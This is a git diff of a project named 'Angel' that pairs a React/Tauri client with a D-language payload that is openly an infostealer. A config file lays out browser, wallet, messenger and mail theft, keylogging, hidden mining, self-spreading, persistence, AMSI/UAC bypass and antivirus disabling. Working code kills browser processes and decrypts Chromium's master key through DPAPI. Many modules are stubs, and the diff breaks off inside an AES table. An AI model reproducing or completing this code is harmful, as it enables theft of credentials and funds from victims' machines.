<div className="splash-screen">
<div className="fade-in">
<img src="/angel.png" alt="Splash Image" className="splash-image" />
</div>
<div className="loader"></div>
</div>
);
};
export default SplashScreen;

View File

@@ -0,0 +1,27 @@
import { Button } from "@/components/ui/button";
import {
DialogClose,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
} from "@/components/ui/dialog";
export function TermsConditions() {
return (
<DialogContent className="sm:max-w-md">
<DialogHeader>
<DialogTitle>Terms & Conditions</DialogTitle>
<DialogDescription>bla bla bla terms</DialogDescription>
</DialogHeader>
<DialogFooter className="sm:justify-start">
<DialogClose asChild>
<Button type="button" variant="outline">
Close
</Button>
</DialogClose>
</DialogFooter>
</DialogContent>
);
}

1
full/Angel-client/src/vite-env.d.ts vendored Normal file
View File

@@ -0,0 +1 @@
/// <reference types="vite/client" />

View File

@@ -0,0 +1,75 @@
/** @type {import('tailwindcss').Config} */
export default {
darkMode: ["class"],
content: [
"./src/**/*.{js,ts,jsx,tsx}",
"./components/**/*.{js,ts,jsx,tsx}",
"./app/**/*.{js,ts,jsx,tsx}",
"./node_modules/@shadcn/ui/**/*.{js,ts,jsx,tsx}",
],
theme: {
extend: {
borderRadius: {
lg: 'var(--radius)',
md: 'calc(var(--radius) - 2px)',
sm: 'calc(var(--radius) - 4px)'
},
colors: {
background: 'hsl(var(--background))',
foreground: 'hsl(var(--foreground))',
card: {
DEFAULT: 'hsl(var(--card))',
foreground: 'hsl(var(--card-foreground))'
},
popover: {
DEFAULT: 'hsl(var(--popover))',
foreground: 'hsl(var(--popover-foreground))'
},
primary: {
DEFAULT: 'hsl(var(--primary))',
foreground: 'hsl(var(--primary-foreground))'
},
secondary: {
DEFAULT: 'hsl(var(--secondary))',
foreground: 'hsl(var(--secondary-foreground))'
},
muted: {
DEFAULT: 'hsl(var(--muted))',
foreground: 'hsl(var(--muted-foreground))'
},
accent: {
DEFAULT: 'hsl(var(--accent))',
foreground: 'hsl(var(--accent-foreground))'
},
destructive: {
DEFAULT: 'hsl(var(--destructive))',
foreground: 'hsl(var(--destructive-foreground))'
},
border: 'hsl(var(--border))',
input: 'hsl(var(--input))',
ring: 'hsl(var(--ring))',
chart: {
'1': 'hsl(var(--chart-1))',
'2': 'hsl(var(--chart-2))',
'3': 'hsl(var(--chart-3))',
'4': 'hsl(var(--chart-4))',
'5': 'hsl(var(--chart-5))'
},
sidebar: {
DEFAULT: 'hsl(var(--sidebar-background))',
foreground: 'hsl(var(--sidebar-foreground))',
primary: 'hsl(var(--sidebar-primary))',
'primary-foreground': 'hsl(var(--sidebar-primary-foreground))',
accent: 'hsl(var(--sidebar-accent))',
'accent-foreground': 'hsl(var(--sidebar-accent-foreground))',
border: 'hsl(var(--sidebar-border))',
ring: 'hsl(var(--sidebar-ring))'
}
}
},
fontFamily: {
'fira-code': ["Fira Code", "monospace"]
}
},
plugins: [require("tailwindcss-animate")],
};

View File

@@ -0,0 +1,29 @@
{
"compilerOptions": {
"target": "ES2020",
"useDefineForClassFields": true,
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
/* Bundler mode */
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"resolveJsonModule": true,
"isolatedModules": true,
"noEmit": true,
"jsx": "react-jsx",
/* Linting */
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true,
"baseUrl": ".",
"paths": {
"@/*": ["./src/*"]
}
},
"include": ["src"],
"references": [{ "path": "./tsconfig.node.json" }]
}

View File

@@ -0,0 +1,16 @@
{
"compilerOptions": {
"composite": true,
"skipLibCheck": true,
"module": "ESNext",
"moduleResolution": "bundler",
"allowSyntheticDefaultImports": true,
"baseUrl": ".",
"paths": {
"@/*": [
"./src/*"
]
}
},
"include": ["vite.config.ts"]
}

View File

@@ -0,0 +1,36 @@
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import path from "path";
const host = process.env.TAURI_DEV_HOST;
export default defineConfig(async () => ({
plugins: [react()],
resolve: {
alias: {
"@": path.resolve(__dirname, "./src"),
},
},
// Vite options tailored for Tauri development and only applied in `tauri dev` or `tauri build`
//
// 1. prevent vite from obscuring rust errors
clearScreen: false,
// 2. tauri expects a fixed port, fail if that port is not available
server: {
port: 1420,
strictPort: true,
host: host || false,
hmr: host
? {
protocol: "ws",
host,
port: 1421,
}
: undefined,
watch: {
// 3. tell vite to ignore watching `src-tauri`
ignored: ["**/src-tauri/**"],
},
},
}));

16
full/Angel-payload/.gitignore vendored Normal file
View File

@@ -0,0 +1,16 @@
.dub
docs.json
__dummy.html
docs/
/angel
angel.so
angel.dylib
angel.dll
angel.a
angel.lib
angel-test-*
*.exe
*.pdb
*.o
*.obj
*.lst

View File

View File

@@ -0,0 +1,3 @@
dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
dub json libs: gdi32, user32

View File

@@ -0,0 +1,188 @@
module angel.config;
// Internal imports
import angel.utils.constants;
// External imports
import std.stdio;
// bool -> possible values: 'true' or 'false'
// string -> possible values: character slice (use "" to define a slice)
// array - [] -> possible values: multiple character slices seperated by commas (inside)
struct Config {
struct Server {
string host = "127.0.0.1"; // server ip
int port = 8000; // server opened port (UFW)
string seclevel = "crystals-kyber"; // encryption/verification/signing to use, choose from: 'ecc, crystals-kyber, rsa'
}
bool debug_mode = true;
ubyte[] server_pk = [0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51]; // server public ECC-curve25519 key
struct Antidbg {
bool analysis = true;
bool dbg = true;
bool kill = false;
bool vm = false;
}
bool fakeErr = false;
// remove Constants.Errmsg("[]") to use std err msg
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
struct Exclude {
string[] country = ["de", "us", "ru"]; // country to exclude from stealing
string[] path = ["", ""]; // path to exclude from antivirus
string[] network = [""]; // disables access to specific network/web addresses
}
struct Spread {
bool local_network = true;
bool messenger = true;
bool mail = false;
}
struct Infect {
bool iso = true;
bool usb = true;
bool systemfil = true;
}
struct Miner { // choose from: 'gpu/cpu'
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
Constants.Coin ltc = Constants.Coin(1, "", "");
Constants.Coin sol = Constants.Coin(1, "", "");
Constants.Coin eth = Constants.Coin(1, "", "");
}
struct Exfil {
bool applications = true;
struct Browser {
bool gecko = false;
bool chromium = true;
bool inject = false;
}
Browser browser;
struct Network {
bool ftp = false;
bool ssh = false;
bool vpn = false;
bool proxy = false;
bool hook = false;
}
Network network;
struct Files {
bool common = true;
bool important = true;
string[] commonFiles = [""];
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
}
Files files;
struct Games {
bool accounts = true;
bool saves = false;
bool inject = true;
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
}
Games games;
struct Mail {
bool client = true;
bool web = false;
bool inject = false;
}
Mail mail;
bool filterAccounts = false;
bool systemInformation = false;
bool porndetect = false;
struct Wallet {
bool seed = true;
Constants.Address xmrDrainer = Constants.Address("");
Constants.Address btcDrainer = Constants.Address("");
Constants.Address ltcDrainer = Constants.Address("");
Constants.Address solDrainer = Constants.Address("");
Constants.Address ethDrainer = Constants.Address("");
Constants.Address xmrClipper = Constants.Address("");
Constants.Address btcClipper = Constants.Address("");
Constants.Address ltcClipper = Constants.Address("");
Constants.Address ethClipper = Constants.Address("");
Constants.Address solClipper = Constants.Address("");
bool inject = false;
}
Wallet wallet;
struct Messenger {
bool messages = false;
bool login = true;
bool inject = false;
}
Messenger messenger;
bool snapshot = false;
bool screenshot = true;
}
struct Conn {
bool keylogger = true;
bool micrecord = false;
bool vidrecord = false;
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
}
struct Persistence {
string mode = ""; // bootkit, ring0 kernel mode, registry, startup files, app startup
// choose from: 'boot, kernel, reg, file, app'
}
struct Privesc {
bool fixExclusion = true;
bool disReagentC = true;
bool disEtw = true;
bool amsiBypass = true;
bool uacBypass = true;
bool destroyDef = false;
bool disableAv = false;
}
struct Dropper {
bool memLoad = true; // load into memory/run module
bool startup = false; // will use the same method as persistence
bool update = false; // scrape again every time from URL
string url = ""; // URL to scrape file from
}
struct Dnsmanip {
bool exclude = true; // excludes files from exclude struct to deny web access
}
Server server;
Antidbg antidbg;
Exclude exclude;
Spread spread;
Infect infect;
Miner miner;
Exfil exfil;
Conn conn;
Persistence persistence;
Privesc privesc;
Dropper dropper;
Dnsmanip dnsmanip;
}
Config config;

View File

@@ -0,0 +1,64 @@
module angel.exfil.browser.browser;
// Internal imports
import angel.utils.logging;
import angel.utils.utils;
import angel.config : config;
import angel.utils.constants;
import angel.exfil.browser.inject;
import angel.exfil.browser.chromium.chromium;
import angel.exfil.browser.gecko.gecko;
// External imports
import std.path;
import std.stdio;
import std.file;
import core.thread.osthread;
// TODO fix process killing
// BUG doesn't equally loop through set of procs, just operates on last one
class Browser {
this() {
Logger.log(LogLevel.Event, "Initializing browser...");
string[] procs = ["firefox.exe", "chrome.exe", "msedge.exe"];
if (!config.debug_mode) {
Utils.killproc(procs);
}
string browser_path = buildPath(Constants.workdir, "Browser");
if (!exists(browser_path)) {
mkdir(browser_path);
}
Logger.log(LogLevel.Event, "Initialized browser.");
}
public void run() {
Thread[] threads;
if (config.exfil.browser.gecko) {
auto t = new Thread(() => new Gecko().entry());
threads ~= t;
Logger.log(LogLevel.Event, "Running thread gecko...");
t.start();
}
else if (config.exfil.browser.chromium) {
auto t = new Thread(() => new Chromium().entry());
threads ~= t;
Logger.log(LogLevel.Event, "Running thread chromium...");
t.start();
} else if (config.exfil.browser.inject) {
auto t = new Thread(() => new Inject().inject());
threads ~= t;
Logger.log(LogLevel.Event, "Running thread browser inject...");
t.start();
}
foreach (t; threads) {
joinLowLevelThread(t.id);
}
}
}

View File

@@ -0,0 +1,77 @@
module angel.exfil.browser.chromium.chromium;
// Internal imports
import angel.utils.constants;
import angel.utils.logging;
import angel.exfil.browser.chromium.dpapi;
// External imports
import std.stdio;
import std.string;
import std.file;
import std.base64;
import std.Path;
import std.format;
import std.json;
class Chromium {
private {
string localst;
string[] profs = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"];
string[] paths = ["Microsoft\\Edge", "Thorium", "Google\\Chrome"];
}
public void entry() {
Logger.log(LogLevel.Debug, "Entered chromium");
foreach (path; paths) {
string pat = buildPath(Constants.local_appdata, path, "User Data");
if (exists(pat)) {
Logger.log(LogLevel.Debug, format("Browser dir %s exists", pat));
this.localst = buildPath(pat, "Local State");
if (exists(localst)) {
Logger.log(LogLevel.Debug, format("Local State file %s exists for browser %s", localst, pat));
ubyte[] master_key = this.mkey();
if (master_key is null || master_key.length == 0) {
Logger.log(
LogLevel.Debug,
"Master key contains 0 bytes, possible uncaught/unknown error. Skipping..."
);
Logger.log(LogLevel.Debug, format("%s", master_key));
return;
} else {
Logger.log(LogLevel.Debug, format("Decrypted master key: %s", master_key));
}
foreach(prof; profs) {
string profpat = buildPath(pat, prof);
if (exists(profpat)) {
Logger.log(LogLevel.Debug, format("Profile %s exists for browser %s", prof, pat));
}
}
}
}
}
}
private ubyte[] mkey() {
string bjson = readText(this.localst);
JSONValue json = parseJSON(bjson);
string encoded = json["os_crypt"]["encrypted_key"].str;
ubyte[] bdecoded = Base64.decode(encoded.strip());
ubyte[] bkey_crypt = bdecoded[5 .. $];
ubyte[] dat = dpapi(bkey_crypt);
return dat;
}
}

View File

@@ -0,0 +1,46 @@
module angel.exfil.browser.chromium.dpapi;
// Internal imports
import angel.utils.logging;
// External imports
import core.sys.windows.windows;
import core.stdc.stdlib;
import std.string;
extern(Windows)
{
BOOL CryptUnprotectData(
const(DATA_BLOB)* pDataIn,
LPCWSTR* ppszDataDescr,
const(DATA_BLOB)* pOptionalEntropy,
void* pvReserved,
void* pPromptStruct,
uint dwFlags,
DATA_BLOB* pDataOut
);
}
extern(Windows)
struct DATA_BLOB
{
uint cbData;
ubyte* pbData;
}
ubyte[] dpapi(ubyte[] key_crypt) {
DATA_BLOB inBlob;
DATA_BLOB outBlob;
inBlob.pbData = key_crypt.ptr;
inBlob.cbData = cast(uint) key_crypt.length;
if (CryptUnprotectData(&inBlob, null, null, null, null, 0, &outBlob)) {
ubyte[] decrypted = cast(ubyte[])(outBlob.pbData[0 .. outBlob.cbData]).idup;
free(outBlob.pbData);
return decrypted;
} else {
return [];
}
}

View File

@@ -0,0 +1,2 @@
module angel.exfil.browser.chromium.inject;

View File

@@ -0,0 +1,20 @@
module angel.exfil.browser.gecko.gecko;
// Internal imports
import angel.utils.logging;
// External imports
import std.stdio;
class Gecko {
this() {
}
private {
}
public void entry() {
Logger.log(LogLevel.Debug, "Entered gecko");
}
}

View File

@@ -0,0 +1,2 @@
module angel.exfil.browser.gecko.injection;

View File

@@ -0,0 +1,15 @@
module angel.exfil.browser.inject;
class Inject {
this() {
}
private {
}
void inject() {
}
}

View File

@@ -0,0 +1,158 @@
module angel.main;
// Internal imports
import angel.utils.logging;
import angel.utils.constants;
import angel.utils.clean;
import angel.exfil.browser.browser;
import angel.utils.init;
//import angel.utils.cryptography.threefish;
//import angel.utils.cryptography.aes;
import angel.utils.cryptography.serpent;
import angel.utils.cryptography.cryptography;
import angel.utils.cryptography.gcm.gcm;
import angel.utils.cryptography.aes;
import angel.utils.cryptography.threefish;
import angel.config : config;
//import angel.conn.vnc.vnc;
// External imports
import std.stdio;
import std.conv : to;
import core.thread.osthread;
import std.format;
// TODO optimize imports (only neccessary)
// TODO mutex check + execution timer
// TODO anti dbg
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
// TODO veh/vectored syscalls in suspended thread
alias ConstructorDelegate = void function();
int main() {
init();
Logger.log(LogLevel.Event, "Initialized.");
// can place args inside of browser init and define in this
ConstructorDelegate[] constructors = [
() => new Browser().run,
];
Thread[] threads;
foreach (co; constructors) {
auto t = new Thread(() => co());
threads ~= t;
Logger.log(LogLevel.Event, "Running thread...");
t.start();
continue;
}
foreach (t; threads) {
joinLowLevelThread(t.id);
}
clean();
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); // shared secret, encrypt master key (threefish512) with it
// TODO generate threefish512 key
// TODO serpent-256 encrypt the threefish key with shared secret
// TODO add pkcs5/7 padding for serpent, also port C implementation of galois 256bit to Dlang
// BUG fix padder, fills in the missing bytes of last encrypted/decrypted chunk with random placeholder chars
// BUG add correct template/tests aes, aead, galois -> follow struct evenly (same implementation)
// TODO might port some shitty C aes256 galois implementation
Serpent serp;
auto key = cast(ubyte[])keypair.sharedSecret.dup;
serp.start(key);
ubyte[] input = cast(ubyte[])"Hello, World! meow meow meow LOLOLOL hi!!!!!".dup;
ubyte padding = cast(ubyte)(16 - (input.length % 16));
ubyte[] output = new ubyte[input.length + padding];
serp.encrypt(input, output);
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
ubyte[] decrypted = new ubyte[output.length];
serp.decrypt(output, decrypted);
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", decrypted));
serp.reset();
ubyte[32] key2;
ubyte[12] iv;
key2[] = cast(ubyte[])"12345678901234567890123456789012";
iv[] = cast(ubyte[])"123456789012";
AES aes = AES(key2);
GCM!AES gcm = GCM!AES(aes);
gcm.start(key2, iv);
ubyte[] encryptedData = new ubyte[input.length];
gcm.encrypt(input, encryptedData);
ubyte[16] tag;
gcm.finish(tag, encryptedData);
Logger.log(LogLevel.Debug, format("AES Encrypted data: %s", encryptedData));
GCM!AES gcmDecrypt = GCM!AES(aes);
gcmDecrypt.start(key2, iv);
ubyte[] decryptedData = new ubyte[encryptedData.length];
gcmDecrypt.decrypt(encryptedData, decryptedData);
ubyte[16] tagVerify;
gcmDecrypt.finish(tagVerify, decryptedData);
Logger.log(LogLevel.Debug, format("AES Decrypted data: %s", decryptedData));
auto kiii = Threefish512.generateKey();
auto tweaki = Threefish512.generateTweak();
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
Threefish512 cipher = new Threefish512();
cipher.setup(kiii, tweaki);
string text = "meow!";
ulong[8] plain;
plain[] = 0;
foreach (i, c; text)
{
plain[i / 8] |= cast(ulong)c << ((i % 8) * 8);
}
auto encrypted_three = cipher.crypt(plain);
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_three));
auto decrypted_three = cipher.decrypt(encrypted_three);
Logger.log(LogLevel.Debug, format("Threefish Decrypted ulong array: %s", decrypted_three));
char[] decrypted_text;
foreach (ulong val; decrypted_three) {
for (int i = 0; i < 8; i++) {
char c = cast(char)((val >> (i * 8)) & 0xFF);
if (c != '\0') {
decrypted_text ~= c;
}
}
}
Logger.log(LogLevel.Debug, format("Threefish Decrypted Text: %s", decrypted_text));
return 0;
}

View File

@@ -0,0 +1,9 @@
module angel.utils.clean;
// Internal imports
// External imports
import std.stdio;
void clean() {
}

View File

@@ -0,0 +1,36 @@
module angel.utils.constants;
// Internal imports
// External imports
import std.stdio;
import std.process;
import std.Path;
class Constants {
public static string appdata;
public static string local_appdata;
public static string workdir;
public static string logFilePath;
static this() {
appdata = environment.get("APPDATA");
local_appdata = environment.get("LOCALAPPDATA");
workdir = buildPath(appdata, "Angel");
logFilePath = buildPath(workdir, "angel.log");
}
struct Address {
string addr;
}
struct Coin {
int percentage = 30;
string source = "gpu";
string addr;
}
struct Errmsg {
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
}
}

View File

@@ -0,0 +1,198 @@
module angel.utils.cryptography.aead;
public import angel.utils.cryptography.blockcipher;
///
/// Test if T is a AEAD cipher.
///
@safe
template isAEADCipher(T)
{
enum bool isAEADCipher =
is(T == struct) &&
is(typeof(
{
ubyte[0] block;
T bc = void; //Can define
bc.start(true, block, block); // start with key, iv
string name = T.name;
uint macSize = T.macSize;
//BlockCipher c = bc.getUnderlyingCipher();
bc.processAADBytes(cast (const ubyte[])block);
ubyte[] slice = bc.processBytes(cast(const ubyte[]) [0], cast(ubyte[]) [0]);
//ubyte[] mac = bc.finish(block);
size_t len = bc.finish(cast(ubyte[]) [0], cast(ubyte[]) [0]);
size_t s1 = bc.getUpdateOutputSize(cast(size_t) 0);
size_t s2 = bc.getOutputSize(cast(size_t) 0);
}));
}
@safe
public interface IAEADEngine
{
public {
/// Initialize the underlying cipher.
/// Params:
/// forEncryption = true if we are setting up for encryption, false otherwise.
/// key = Secret key.
/// nonce = Number used only once.
void start(in ubyte[] key, in ubyte[] nonce) nothrow @nogc;
/// Returns: Returns the name of the algorithm.
@property
string name() pure nothrow;
/// Process additional authenticated data.
void processAADBytes(in ubyte[] aad) nothrow;
/// Encrypt or decrypt a block of bytes.
///
/// Params:
/// input = Input buffer.
/// output = Output buffer.
///
/// Returns: A slice pointing to the output data.
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow;
/// Close the AEAD cipher by producing the remaining output and a authentication tag.
///
/// Params:
/// macBuf = Buffer for the MAC tag.
/// output = Buffer for remaining output data.
///
/// Note: In decryption mode this does not verify the integrity of the data. Verification has to be done by the programmer!
///
size_t finish(ubyte[] macBuf, ubyte[] output);
/// Returns: Return the size of the output buffer required for a processBytes an input of len bytes.
size_t getUpdateOutputSize(size_t len) nothrow const;
/// Returns: Return the size of the output buffer required for a processBytes plus a finish with an input of len bytes.
size_t getOutputSize(size_t len) nothrow const;
}
}
// TODO AEAD cipher wrapper
/// Wrapper class for AEAD ciphers
@safe
public class AEADCipherWrapper(T) if(isAEADCipher!T): IAEADEngine
{
private T cipher;
public {
void start(in ubyte[] key, in ubyte[] iv) {
cipher.start(key, iv);
}
@property
string name() pure nothrow {
return cipher.name;
}
void processAADBytes(in ubyte[] aad) nothrow {
cipher.processAADBytes(aad);
}
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow {
return cipher.processBytes(input, output);
}
size_t finish(ubyte[] macBuf, ubyte[] output){
return cipher.finish(macBuf, output);
}
size_t getUpdateOutputSize(size_t len) nothrow const {
return cipher.getUpdateOutputSize(len);
}
size_t getOutputSize(size_t len) nothrow const {
return cipher.getOutputSize(len);
}
}
}
version(unittest) {
// unittest helper functions
/// Runs decryption and encryption using AEADCipher cipher with given keys, plaintexts, and ciphertexts.
///
/// Params:
/// hexKeys = the keys encoded in hex
/// hexIVs = hex encoded nonces
/// hexPlaintexts = the plaintexts encoded in hex
/// hexAAD = additional authenticated data
/// hexCiphertexts = the corresponding ciphertexts in hex
/// macSize = MAC sizes in bits
///
/// Throws:
/// AssertionError if encryption or decryption failed
@safe
public void AEADCipherTest(
IAEADEngine cipher,
in string[] keys,
in string[] ivs,
in string[] plaintexts,
in string[] aads,
in string[] ciphertexts,
in uint[] macSize
) {
import dcrypt.aead.aead;
import std.format: format;
alias const (ubyte)[] octets;
foreach (uint i, string test_key; keys)
{
octets plain = cast(octets) plaintexts[i];
octets aad = cast(octets) aads[i];
octets ciphertext = cast(octets) ciphertexts[i];
ubyte[] output = new ubyte[plain.length];
// set to encryption mode
cipher.start(true, cast(octets) test_key, cast(octets) ivs[i]);
output.length = cipher.getOutputSize(plain.length);
immutable size_t taglen = macSize[i]/8;
octets expectedMac = ciphertext[$-taglen..$];
ciphertext = ciphertext[0..$-taglen];
// assert(cipher.getUpdateOutputSize(plain.length) == plain.length);
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
// test encryption
cipher.processAADBytes(aad);
ubyte[] out_slice = cipher.processBytes(plain, output);
ubyte[16] mac;
size_t len = out_slice.length+cipher.finish(mac, output[out_slice.length..$]);
assert(output == ciphertext,
format("%s encrypt: %(%.2x%) != %(%.2x%)", cipher.name, output, ciphertexts[i]));
assert(mac[0..taglen] == expectedMac);
}
}
}

View File

@@ -0,0 +1,549 @@
module angel.utils.cryptography.aes;
import angel.utils.cryptography.blockcipher;
import angel.utils.cryptography.exceptions;
import angel.utils.cryptography.bitmanip;
/// Test AES encryption and decryption of a single block with 128, 192 and 256 bits key length.
/// test vectors from http://www.inconteam.com/software-development/41-encryption/55-aes-test-vectors
@safe
unittest {
static string[] test_keys = [
x"2b7e151628aed2a6abf7158809cf4f3c",
x"8e73b0f7da0e6452c810f32b809079e562f8ead2522c6b7b",
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4",
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4"
];
static string[] test_plaintexts = [
x"6bc1bee22e409f96e93d7e117393172a",
x"6bc1bee22e409f96e93d7e117393172a",
x"6bc1bee22e409f96e93d7e117393172a",
x"ae2d8a571e03ac9c9eb76fac45af8e51"
];
static string[] test_ciphertexts = [
x"3ad77bb40d7a3660a89ecaf32466ef97",
x"bd334f1d6e45f25ff712a214571fa5cc",
x"f3eed1bdb5d2a03c064b5a7e3db181f8",
x"591ccb10d410ed26dc5ba74a31362870"
];
AESEngine t = new AESEngine();
blockCipherTest(t, test_keys, test_plaintexts, test_ciphertexts);
}
static assert(isBlockCipher!AES, "AES is not a block cipher!");
/// OOP API wrapper for AES
alias BlockCipherWrapper!AES AESEngine;
@safe
public struct AES
{
public enum name = "AES";
public enum blockSize = 16;
private static immutable size_t maxKeyLength = 32;
private ubyte[maxKeyLength] userKey;
private size_t keyLength;
public {
/// Params:
/// forEncryption = `false`: decrypt, `true`: encrypt
/// userKey = Secret key.
/// iv = Not used.
void start(in ubyte[] key, in ubyte[] iv = null) nothrow @nogc
{
size_t len = key.length;
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
userKey[0 .. len] = key[0 .. len];
initialized = true;
}
public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
in {
assert(initialized, "Serpent engine not initialized");
assert(blockSize<=input.length, "input buffer too short");
assert(blockSize<=output.length, "output buffer too short");
}
body {
state = 1;
generateWorkingKey(userKey);
unpackBlock(input);
encryptBlock();
packBlock(output);
return blockSize;
}
public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
in {
assert(initialized, "Serpent engine not initialized");
assert(blockSize<=input.length, "input buffer too short");
assert(blockSize<=output.length, "output buffer too short");
}
body {
state = 0;
generateWorkingKey(userKey);
unpackBlock(input);
decryptBlock();
packBlock(output);
return blockSize;
}
void reset() nothrow @nogc
{
}
}
// begin of private section
private:
// @safe @nogc nothrow
// ~this() {
// import dcrypt.util: wipe;
//
// wipe(workingKey);
// wipe(C0, C1, C2, C3);
// }
enum MAXROUNDS = 14;
uint ROUNDS; // Number of rounds depends on keysize
uint C0, C1, C2, C3; // State
uint[4][MAXROUNDS+1] workingKey;
bool state; // 1 encrypt, 0 decrypt
bool initialized;
// const ubyte[] userKey = kii;
// Sbox and its inverse
static immutable ubyte[256] S = [
0x63u, 0x7cu, 0x77u, 0x7bu, 0xf2u, 0x6bu, 0x6fu, 0xc5u,
0x30u, 0x01u, 0x67u, 0x2bu, 0xfeu, 0xd7u, 0xabu, 0x76u,
0xcau, 0x82u, 0xc9u, 0x7du, 0xfau, 0x59u, 0x47u, 0xf0u,
0xadu, 0xd4u, 0xa2u, 0xafu, 0x9cu, 0xa4u, 0x72u, 0xc0u,
0xb7u, 0xfdu, 0x93u, 0x26u, 0x36u, 0x3fu, 0xf7u, 0xccu,
0x34u, 0xa5u, 0xe5u, 0xf1u, 0x71u, 0xd8u, 0x31u, 0x15u,
0x04u, 0xc7u, 0x23u, 0xc3u, 0x18u, 0x96u, 0x05u, 0x9au,
0x07u, 0x12u, 0x80u, 0xe2u, 0xebu, 0x27u, 0xb2u, 0x75u,
0x09u, 0x83u, 0x2cu, 0x1au, 0x1bu, 0x6eu, 0x5au, 0xa0u,
0x52u, 0x3bu, 0xd6u, 0xb3u, 0x29u, 0xe3u, 0x2fu, 0x84u,
0x53u, 0xd1u, 0x00u, 0xedu, 0x20u, 0xfcu, 0xb1u, 0x5bu,
0x6au, 0xcbu, 0xbeu, 0x39u, 0x4au, 0x4cu, 0x58u, 0xcfu,
0xd0u, 0xefu, 0xaau, 0xfbu, 0x43u, 0x4du, 0x33u, 0x85u,
0x45u, 0xf9u, 0x02u, 0x7fu, 0x50u, 0x3cu, 0x9fu, 0xa8u,
0x51u, 0xa3u, 0x40u, 0x8fu, 0x92u, 0x9du, 0x38u, 0xf5u,
0xbcu, 0xb6u, 0xdau, 0x21u, 0x10u, 0xffu, 0xf3u, 0xd2u,
0xcdu, 0x0cu, 0x13u, 0xecu, 0x5fu, 0x97u, 0x44u, 0x17u,
0xc4u, 0xa7u, 0x7eu, 0x3du, 0x64u, 0x5du, 0x19u, 0x73u,
0x60u, 0x81u, 0x4fu, 0xdcu, 0x22u, 0x2au, 0x90u, 0x88u,
0x46u, 0xeeu, 0xb8u, 0x14u, 0xdeu, 0x5eu, 0x0bu, 0xdbu,
0xe0u, 0x32u, 0x3au, 0x0au, 0x49u, 0x06u, 0x24u, 0x5cu,
0xc2u, 0xd3u, 0xacu, 0x62u, 0x91u, 0x95u, 0xe4u, 0x79u,
0xe7u, 0xc8u, 0x37u, 0x6du, 0x8du, 0xd5u, 0x4eu, 0xa9u,
0x6cu, 0x56u, 0xf4u, 0xeau, 0x65u, 0x7au, 0xaeu, 0x08u,
0xbau, 0x78u, 0x25u, 0x2eu, 0x1cu, 0xa6u, 0xb4u, 0xc6u,
0xe8u, 0xddu, 0x74u, 0x1fu, 0x4bu, 0xbdu, 0x8bu, 0x8au,
0x70u, 0x3eu, 0xb5u, 0x66u, 0x48u, 0x03u, 0xf6u, 0x0eu,
0x61u, 0x35u, 0x57u, 0xb9u, 0x86u, 0xc1u, 0x1du, 0x9eu,
0xe1u, 0xf8u, 0x98u, 0x11u, 0x69u, 0xd9u, 0x8eu, 0x94u,
0x9bu, 0x1eu, 0x87u, 0xe9u, 0xceu, 0x55u, 0x28u, 0xdfu,
0x8cu, 0xa1u, 0x89u, 0x0du, 0xbfu, 0xe6u, 0x42u, 0x68u,
0x41u, 0x99u, 0x2du, 0x0fu, 0xb0u, 0x54u, 0xbbu, 0x16u
];
static immutable ubyte[256] Si = [
0x52u, 0x09u, 0x6au, 0xd5u, 0x30u, 0x36u, 0xa5u, 0x38u,
0xbfu, 0x40u, 0xa3u, 0x9eu, 0x81u, 0xf3u, 0xd7u, 0xfbu,
0x7cu, 0xe3u, 0x39u, 0x82u, 0x9bu, 0x2fu, 0xffu, 0x87u,
0x34u, 0x8eu, 0x43u, 0x44u, 0xc4u, 0xdeu, 0xe9u, 0xcbu,
0x54u, 0x7bu, 0x94u, 0x32u, 0xa6u, 0xc2u, 0x23u, 0x3du,
0xeeu, 0x4cu, 0x95u, 0x0bu, 0x42u, 0xfau, 0xc3u, 0x4eu,
0x08u, 0x2eu, 0xa1u, 0x66u, 0x28u, 0xd9u, 0x24u, 0xb2u,
0x76u, 0x5bu, 0xa2u, 0x49u, 0x6du, 0x8bu, 0xd1u, 0x25u,
0x72u, 0xf8u, 0xf6u, 0x64u, 0x86u, 0x68u, 0x98u, 0x16u,
0xd4u, 0xa4u, 0x5cu, 0xccu, 0x5du, 0x65u, 0xb6u, 0x92u,
